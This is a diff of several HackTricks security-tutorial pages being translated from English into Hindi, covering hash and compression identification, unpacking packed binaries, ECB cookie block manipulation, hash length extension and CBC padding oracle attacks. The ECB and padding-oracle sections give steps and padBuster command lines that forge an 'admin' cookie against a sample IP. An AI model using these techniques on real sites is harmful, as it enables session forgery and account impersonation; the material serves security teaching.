अधिक स्थिरांकों के उपयोग पर ध्यान दें
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
## CRC (हैश)
|
||||
|
||||
- Smaller and more efficient as it's function is to find accidental changes in data
|
||||
- Uses lookup tables (so you can identify constants)
|
||||
- छोटा और अधिक कुशल क्योंकि इसका कार्य डेटा में आकस्मिक परिवर्तनों को खोजना है
|
||||
- लुकअप तालिकाओं का उपयोग करता है (इसलिए आप स्थिरांकों की पहचान कर सकते हैं)
|
||||
|
||||
### Identify
|
||||
### पहचानें
|
||||
|
||||
Check **lookup table constants**:
|
||||
**लुकअप तालिका स्थिरांक** की जांच करें:
|
||||
|
||||
.png>)
|
||||
|
||||
A CRC hash algorithm looks like:
|
||||
एक CRC हैश एल्गोरिदम इस तरह दिखता है:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib (Compression)
|
||||
## APLib (संपीड़न)
|
||||
|
||||
### Characteristics
|
||||
### विशेषताएँ
|
||||
|
||||
- Not recognizable constants
|
||||
- You can try to write the algorithm in python and search for similar things online
|
||||
- पहचानने योग्य स्थिरांक नहीं
|
||||
- आप एल्गोरिदम को पायथन में लिखने और ऑनलाइन समान चीजों की खोज करने का प्रयास कर सकते हैं
|
||||
|
||||
### Identify
|
||||
### पहचानें
|
||||
|
||||
The graph is quiet large:
|
||||
ग्राफ़ काफी बड़ा है:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
Check **3 comparisons to recognise it**:
|
||||
इसे पहचानने के लिए **3 तुलना** की जांच करें:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -1,24 +1,24 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Identifying packed binaries
|
||||
# पैक किए गए बाइनरी की पहचान करना
|
||||
|
||||
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
|
||||
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
|
||||
- You can also use some tools to try to find which packer was used to pack a binary:
|
||||
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
- [Language 2000](http://farrokhi.net/language/)
|
||||
- **स्ट्रिंग्स की कमी**: यह सामान्य है कि पैक किए गए बाइनरी में लगभग कोई स्ट्रिंग नहीं होती है।
|
||||
- बहुत सारी **अप्रयुक्त स्ट्रिंग्स**: इसके अलावा, जब एक मैलवेयर किसी प्रकार के व्यावसायिक पैकर का उपयोग कर रहा होता है, तो बिना क्रॉस-रेफरेंस के बहुत सारी स्ट्रिंग्स मिलना सामान्य है। भले ही ये स्ट्रिंग्स मौजूद हों, इसका मतलब यह नहीं है कि बाइनरी पैक नहीं है।
|
||||
- आप यह पता लगाने के लिए कुछ टूल्स का उपयोग कर सकते हैं कि बाइनरी को पैक करने के लिए कौन सा पैकर उपयोग किया गया था:
|
||||
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
- [Language 2000](http://farrokhi.net/language/)
|
||||
|
||||
# Basic Recommendations
|
||||
# बुनियादी सिफारिशें
|
||||
|
||||
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
|
||||
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
|
||||
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
|
||||
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
|
||||
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
|
||||
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
|
||||
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
|
||||
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
|
||||
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||
- **नीचे से शुरू करें** पैक किए गए बाइनरी का **विश्लेषण IDA में और ऊपर की ओर बढ़ें**। अनपैकर्स तब समाप्त होते हैं जब अनपैक किया गया कोड समाप्त होता है, इसलिए यह संभावना नहीं है कि अनपैकर शुरू में अनपैक किए गए कोड को निष्पादन पास करता है।
|
||||
- **JMP's** या **CALLs** के लिए **रजिस्टर** या **मेमोरी** के **क्षेत्रों** की खोज करें। इसके अलावा, **फंक्शंस जो आर्गुमेंट्स और एक एड्रेस डायरेक्शन को पुश करते हैं और फिर `retn` को कॉल करते हैं** के लिए खोजें, क्योंकि उस मामले में फंक्शन की वापसी उस एड्रेस को कॉल कर सकती है जो स्टैक में पुश किया गया था।
|
||||
- `VirtualAlloc` पर एक **ब्रेकपॉइंट** लगाएं क्योंकि यह मेमोरी में स्थान आवंटित करता है जहां प्रोग्राम अनपैक किया गया कोड लिख सकता है। "यूजर कोड पर चलाएं" या F8 का उपयोग करें **EAX के अंदर मान प्राप्त करने के लिए** फंक्शन को निष्पादित करने के बाद और "**डंप में उस एड्रेस का पालन करें**"। आप कभी नहीं जानते कि क्या यह वह क्षेत्र है जहां अनपैक किया गया कोड सहेजा जाएगा।
|
||||
- **`VirtualAlloc`** के साथ मान "**40**" एक आर्गुमेंट के रूप में पढ़ें + लिखें + निष्पादित करें (कुछ कोड जिसे निष्पादन की आवश्यकता है, यहां कॉपी किया जाएगा)।
|
||||
- **कोड को अनपैक करते समय** यह सामान्य है कि **गणितीय संचालन** और **`memcopy`** या **`Virtual`**`Alloc` जैसी फंक्शंस के लिए **कई कॉल्स** मिलें। यदि आप किसी फंक्शन में हैं जो स्पष्ट रूप से केवल गणितीय संचालन करता है और शायद कुछ `memcopy` करता है, तो सिफारिश है कि आप **फंक्शन के अंत को खोजने की कोशिश करें** (शायद किसी रजिस्टर पर JMP या कॉल) **या** कम से कम **आखिरी फंक्शन को कॉल करें** और फिर चलाएं क्योंकि कोड दिलचस्प नहीं है।
|
||||
- कोड को अनपैक करते समय **ध्यान दें** जब भी आप **मेमोरी क्षेत्र बदलते हैं** क्योंकि मेमोरी क्षेत्र में परिवर्तन **अनपैकिंग कोड की शुरुआत** का संकेत दे सकता है। आप Process Hacker का उपयोग करके आसानी से मेमोरी क्षेत्र को डंप कर सकते हैं (प्रक्रिया --> गुण --> मेमोरी)।
|
||||
- कोड को अनपैक करने की कोशिश करते समय यह जानने का एक अच्छा तरीका है कि **क्या आप पहले से ही अनपैक किए गए कोड के साथ काम कर रहे हैं** (ताकि आप इसे केवल डंप कर सकें) यह है कि **बाइनरी की स्ट्रिंग्स की जांच करें**। यदि किसी बिंदु पर आप एक जंप करते हैं (शायद मेमोरी क्षेत्र बदलते हुए) और आप देखते हैं कि **और अधिक स्ट्रिंग्स जोड़ी गई हैं**, तो आप जान सकते हैं **आप अनपैक किए गए कोड के साथ काम कर रहे हैं**।\
|
||||
हालांकि, यदि पैकर में पहले से ही बहुत सारी स्ट्रिंग्स हैं, तो आप देख सकते हैं कि कितनी स्ट्रिंग्स में "http" शब्द है और देखें कि क्या यह संख्या बढ़ती है।
|
||||
- जब आप मेमोरी के एक क्षेत्र से एक निष्पादन योग्य को डंप करते हैं, तो आप कुछ हेडर को [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) का उपयोग करके ठीक कर सकते हैं।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,70 +2,64 @@
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
|
||||
(ECB) इलेक्ट्रॉनिक कोड बुक - एक सममित एन्क्रिप्शन योजना जो **स्पष्ट पाठ के प्रत्येक ब्लॉक** को **साइफर टेक्स्ट के ब्लॉक** से **बदलती है**। यह **सबसे सरल** एन्क्रिप्शन योजना है। मुख्य विचार यह है कि **स्पष्ट पाठ को N बिट्स के ब्लॉकों में विभाजित** किया जाए (जो इनपुट डेटा के ब्लॉक के आकार और एन्क्रिप्शन एल्गोरिदम पर निर्भर करता है) और फिर केवल एक कुंजी का उपयोग करके प्रत्येक स्पष्ट पाठ के ब्लॉक को एन्क्रिप्ट (डिक्रिप्ट) किया जाए।
|
||||
|
||||
|
||||
|
||||
Using ECB has multiple security implications:
|
||||
ECB का उपयोग करने के कई सुरक्षा निहितार्थ हैं:
|
||||
|
||||
- **Blocks from encrypted message can be removed**
|
||||
- **Blocks from encrypted message can be moved around**
|
||||
- **एन्क्रिप्टेड संदेश के ब्लॉक को हटाया जा सकता है**
|
||||
- **एन्क्रिप्टेड संदेश के ब्लॉक को इधर-उधर किया जा सकता है**
|
||||
|
||||
# Detection of the vulnerability
|
||||
# कमजोरियों का पता लगाना
|
||||
|
||||
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
|
||||
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
|
||||
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
|
||||
|
||||
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
|
||||
कल्पना करें कि आप एक एप्लिकेशन में कई बार लॉगिन करते हैं और आपको **हमेशा वही कुकी मिलती है**। इसका कारण यह है कि एप्लिकेशन की कुकी **`<username>|<password>`** है।\
|
||||
फिर, आप दो नए उपयोगकर्ताओं को उत्पन्न करते हैं, जिनमें से दोनों के पास **एक ही लंबा पासवर्ड** और **लगभग** वही **उपयोगकर्ता नाम** है।\
|
||||
आप पाते हैं कि **8B के ब्लॉक** जहां **दोनों उपयोगकर्ताओं की जानकारी** समान है, **बराबर** हैं। फिर, आप कल्पना करते हैं कि यह **ECB के उपयोग** के कारण हो सकता है।
|
||||
|
||||
जैसे कि निम्नलिखित उदाहरण में। देखें कि कैसे ये **2 डिकोडेड कुकीज़** कई बार ब्लॉक **`\x23U\xE45K\xCB\x21\xC8`** हैं।
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
यह इसलिए है क्योंकि उन कुकीज़ का **उपयोगकर्ता नाम और पासवर्ड कई बार "a" अक्षर** को शामिल करते हैं (उदाहरण के लिए)। **विभिन्न** **ब्लॉक** वे ब्लॉक हैं जो **कम से कम 1 विभिन्न अक्षर** को शामिल करते हैं (शायद विभाजक "|" या उपयोगकर्ता नाम में कुछ आवश्यक अंतर)।
|
||||
|
||||
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
|
||||
अब, हमलावर को केवल यह पता लगाने की आवश्यकता है कि प्रारूप `<username><delimiter><password>` है या `<password><delimiter><username>`। ऐसा करने के लिए, वह बस **कई उपयोगकर्ता नाम उत्पन्न कर सकता है** जिनमें **समान और लंबे उपयोगकर्ता नाम और पासवर्ड** हैं जब तक कि वह प्रारूप और विभाजक की लंबाई नहीं खोज लेता:
|
||||
|
||||
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
|
||||
| उपयोगकर्ता नाम की लंबाई: | पासवर्ड की लंबाई: | उपयोगकर्ता नाम+पासवर्ड की लंबाई: | कुकी की लंबाई (डिकोड करने के बाद): |
|
||||
| ------------------------- | ------------------ | ------------------------------- | ----------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
# भेद्यता का शोषण
|
||||
|
||||
# Exploitation of the vulnerability
|
||||
|
||||
## Removing entire blocks
|
||||
|
||||
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
|
||||
## पूरे ब्लॉकों को हटाना
|
||||
|
||||
कुकी के प्रारूप को जानकर (`<username>|<password>`), उपयोगकर्ता नाम `admin` की नकल करने के लिए एक नया उपयोगकर्ता बनाएं जिसका नाम `aaaaaaaaadmin` हो और कुकी प्राप्त करें और इसे डिकोड करें:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
|
||||
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
|
||||
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
|
||||
|
||||
हम पहले देख सकते हैं कि पैटर्न `\x23U\xE45K\xCB\x21\xC8` पहले उस उपयोगकर्ता नाम के साथ बनाया गया था जिसमें केवल `a` था।\
|
||||
फिर, आप 8B का पहला ब्लॉक हटा सकते हैं और आपको उपयोगकर्ता नाम `admin` के लिए एक मान्य कुकी मिलेगी:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
|
||||
## Moving blocks
|
||||
|
||||
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
|
||||
कई डेटाबेस में `WHERE username='admin';` या `WHERE username='admin ';` के लिए खोज करना समान है। _(अतिरिक्त स्पेस पर ध्यान दें)_
|
||||
|
||||
So, another way to impersonate the user `admin` would be to:
|
||||
तो, उपयोगकर्ता `admin` की नकल करने का एक और तरीका होगा:
|
||||
|
||||
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
|
||||
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
|
||||
- एक उपयोगकर्ता नाम उत्पन्न करें जो: `len(<username>) + len(<delimiter) % len(block)`। `8B` के ब्लॉक आकार के साथ, आप `username ` नाम का उपयोगकर्ता नाम उत्पन्न कर सकते हैं, जिसमें डिलिमिटर `|` है, तो भाग `<username><delimiter>` 8Bs के 2 ब्लॉकों का निर्माण करेगा।
|
||||
- फिर, एक पासवर्ड उत्पन्न करें जो उस उपयोगकर्ता नाम को भरने के लिए एक सटीक संख्या में ब्लॉकों को भरता है जिसे हम नकल करना चाहते हैं और स्पेस, जैसे: `admin `
|
||||
|
||||
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
|
||||
इस उपयोगकर्ता का कुकी 3 ब्लॉकों से बना होगा: पहले 2 उपयोगकर्ता नाम + डिलिमिटर के ब्लॉक और तीसरा पासवर्ड (जो उपयोगकर्ता नाम की नकल कर रहा है): `username |admin `
|
||||
|
||||
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
|
||||
**फिर, बस पहले ब्लॉक को अंतिम समय के साथ बदलें और आप उपयोगकर्ता `admin` की नकल कर रहे होंगे: `admin |username`**
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,15 +4,13 @@
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
|
||||
|
||||
Check that wiki to search more esotreic languages
|
||||
अधिक रहस्यमय भाषाओं की खोज के लिए उस विकी की जांच करें
|
||||
|
||||
## Malbolge
|
||||
|
||||
```
|
||||
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
|
||||
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
|
||||
```
|
||||
|
||||
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
|
||||
|
||||
## npiet
|
||||
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
|
||||
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
|
||||
|
||||
## Rockstar
|
||||
|
||||
```
|
||||
Midnight takes your heart and your soul
|
||||
While your heart is as high as your soul
|
||||
@ -51,11 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
||||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,28 +4,28 @@
|
||||
|
||||
## Summary of the attack
|
||||
|
||||
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
|
||||
कल्पना कीजिए एक सर्वर जो कुछ डेटा को एक ज्ञात स्पष्ट पाठ डेटा के साथ एक गुप्त को जोड़कर और फिर उस डेटा को हैश करके **साइन** कर रहा है। यदि आप जानते हैं:
|
||||
|
||||
- **The length of the secret** (this can be also bruteforced from a given length range)
|
||||
- **The clear text data**
|
||||
- **The algorithm (and it's vulnerable to this attack)**
|
||||
- **The padding is known**
|
||||
- Usually a default one is used, so if the other 3 requirements are met, this also is
|
||||
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
|
||||
- **गुप्त की लंबाई** (इसे एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है)
|
||||
- **स्पष्ट पाठ डेटा**
|
||||
- **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)**
|
||||
- **पैडिंग ज्ञात है**
|
||||
- आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है
|
||||
- पैडिंग गुप्त + डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है
|
||||
|
||||
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
|
||||
तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है।
|
||||
|
||||
### How?
|
||||
|
||||
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
|
||||
बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश करके** हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**।
|
||||
|
||||
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
If an attacker wants to append the string "append" he can:
|
||||
फिर, कल्पना कीजिए कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
|
||||
यदि एक हमलावर "append" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है:
|
||||
|
||||
- Generate a MD5 of 64 "A"s
|
||||
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Append the string "append"
|
||||
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
|
||||
- 64 "A"s का MD5 उत्पन्न करें
|
||||
- पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें
|
||||
- "append" स्ट्रिंग को जोड़ें
|
||||
- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध** होगा
|
||||
|
||||
### **Tool**
|
||||
|
||||
@ -33,6 +33,6 @@ If an attacker wants to append the string "append" he can:
|
||||
|
||||
### References
|
||||
|
||||
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
आप इस हमले को अच्छी तरह से समझा हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) पर पा सकते हैं
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,26 +2,24 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CBC - Cipher Block Chaining
|
||||
|
||||
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
|
||||
CBC मोड में **पिछला एन्क्रिप्टेड ब्लॉक IV के रूप में उपयोग किया जाता है** अगले ब्लॉक के साथ XOR करने के लिए:
|
||||
|
||||
|
||||
|
||||
To decrypt CBC the **opposite** **operations** are done:
|
||||
CBC को डिक्रिप्ट करने के लिए **विपरीत** **ऑपरेशंस** किए जाते हैं:
|
||||
|
||||
|
||||
|
||||
Notice how it's needed to use an **encryption** **key** and an **IV**.
|
||||
ध्यान दें कि **एन्क्रिप्शन** **की** और **IV** का उपयोग करना आवश्यक है।
|
||||
|
||||
## Message Padding
|
||||
|
||||
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
|
||||
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
|
||||
चूंकि एन्क्रिप्शन **फिक्स्ड** **साइज** **ब्लॉक्स** में किया जाता है, **पैडिंग** आमतौर पर **अंतिम** **ब्लॉक** में इसकी लंबाई को पूरा करने के लिए आवश्यक होती है।\
|
||||
आमतौर पर **PKCS7** का उपयोग किया जाता है, जो पैडिंग **जेनरेट** करता है **ब्लॉक** को **पूरा** करने के लिए **आवश्यक** **बाइट्स** की **संख्या** को **दोहराते** हुए। उदाहरण के लिए, यदि अंतिम ब्लॉक में 3 बाइट्स की कमी है, तो पैडिंग होगी `\x03\x03\x03`।
|
||||
|
||||
Let's look at more examples with a **2 blocks of length 8bytes**:
|
||||
आइए **8 बाइट्स की 2 ब्लॉक्स** के साथ और उदाहरण देखें:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Note how in the last example the **last block was full so another one was generated only with padding**.
|
||||
ध्यान दें कि अंतिम उदाहरण में **अंतिम ब्लॉक पूरा था इसलिए केवल पैडिंग के साथ एक और उत्पन्न किया गया**।
|
||||
|
||||
## Padding Oracle
|
||||
|
||||
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
|
||||
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि **अमान्य पैडिंग एक पहचान योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास **पैडिंग ऑरेकल भेद्यता** है। पहचान योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या **धीमी प्रतिक्रिया** हो सकता है।
|
||||
|
||||
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
|
||||
यदि आप इस व्यवहार का पता लगाते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहां तक कि **किसी भी क्लियरटेक्स्ट को एन्क्रिप्ट** कर सकते हैं।
|
||||
|
||||
### How to exploit
|
||||
|
||||
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
|
||||
|
||||
आप इस प्रकार की भेद्यता का शोषण करने के लिए [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) का उपयोग कर सकते हैं या बस करें
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
|
||||
In order to test if the cookie of a site is vulnerable you could try:
|
||||
|
||||
किसी साइट के कुकी की संवेदनशीलता का परीक्षण करने के लिए आप कोशिश कर सकते हैं:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Encoding 0** का मतलब है कि **base64** का उपयोग किया गया है (लेकिन अन्य उपलब्ध हैं, मदद मेनू की जांच करें)।
|
||||
|
||||
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
|
||||
|
||||
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
|
||||
|
||||
आप इस कमजोरियों का **दुरुपयोग करके नए डेटा को एन्क्रिप्ट कर सकते हैं। उदाहरण के लिए, कल्पना करें कि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर विशेषाधिकार बढ़ा सकते हैं। आप इसे `paduster` का उपयोग करके -plaintext** पैरामीटर निर्दिष्ट करके भी कर सकते हैं:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
|
||||
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
|
||||
|
||||
यदि साइट कमजोर है तो `padbuster` स्वचालित रूप से यह पता लगाने की कोशिश करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी इंगित कर सकते हैं।
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
### सिद्धांत
|
||||
|
||||
### The theory
|
||||
|
||||
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
|
||||
